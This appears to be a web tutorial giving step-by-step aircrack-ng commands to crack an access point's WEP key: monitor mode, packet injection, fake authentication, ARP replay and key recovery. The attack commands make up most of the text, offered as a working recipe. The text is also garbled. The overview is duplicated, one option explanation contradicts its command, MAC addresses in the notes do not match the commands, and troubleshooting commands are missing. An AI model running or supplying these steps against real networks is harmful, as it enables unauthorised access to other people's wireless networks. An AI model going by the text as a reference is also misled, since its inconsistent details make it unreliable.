Overview
To crack the WEP key for an
access point, we need to
gather lots of initialization
vectors (IVs). Normal network traffic does not typically
generate these IVs very quickly. Theoretically, if you are
patient, you can gather sufficient IVs to crack the WEP key
by simply listening to the network traffic and saving them.
Since none of us are patient, we use a technique called
injection to speed up the process. Injection involves having
the access point (AP) resend selected packets over and
over very rapidly. This allows us to capture a large number
of IVs in a short period of time.
access point, we need to
gather lots of initialization
vectors (IVs). Normal network traffic does not typically
generate these IVs very quickly. Theoretically, if you are
patient, you can gather sufficient IVs to crack the WEP key
by simply listening to the network traffic and saving them.
Since none of us are patient, we use a technique called
injection to speed up the process. Injection involves having
the access point (AP) resend selected packets over and
over very rapidly. This allows us to capture a large number
of IVs in a short period of time.
Equipments used
Amazon)
Software : Backtrack 5R3 (Free download
Step 1 – Start the wireless interface in monitor mode on AP channel
airmon-ng start wlan1 6
starts wifi interface in channel 6
Step 2 – Test Wireless Device Packet Injection
aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address
Step 3 – Start airodump-ng to capture the IVs
airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1
Step 4 – Use aireplay-ng to do a fake authentication with the access point
In order for an access point to accept a packet, the source
MAC address must already be associated. If the source
MAC address you are injecting is not associated then the AP
ignores the packet and sends out a “DeAuthentication”
packet in cleartext. In this state, no new IVs are created
because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips
Some access points are configured to only allow selected
MAC addresses to associate and connect. If this is the case,
you will not be able to successfully do fake authentication
unless you know one of the MAC addresses on the allowed
list. If you suspect this is the problem, use the following
command while trying to do fake authentication. Start
another session and…
You would then look for error messages.
If at any time you wish to confirm you are properly
associated is to use tcpdump and look at the packets. Start
another session and…
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80
DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80
DeAuthentication: Class 3 frame received from
nonassociated station.
Notice that the access point (00:14:6c:7e:40:80) is telling
the source (00:0F:B5:88:AC:82) you are not associated.
Meaning, the AP will not process or accept the injected
packets.
If you want to select only the DeAuth packets with tcpdump
DeAuth”. You may need to tweak the phrase “DeAuth” to
pick out the exact packets you want.
Step 5 – Start aireplay-ng in ARP request replay mode
aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
Step 6 – Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done!
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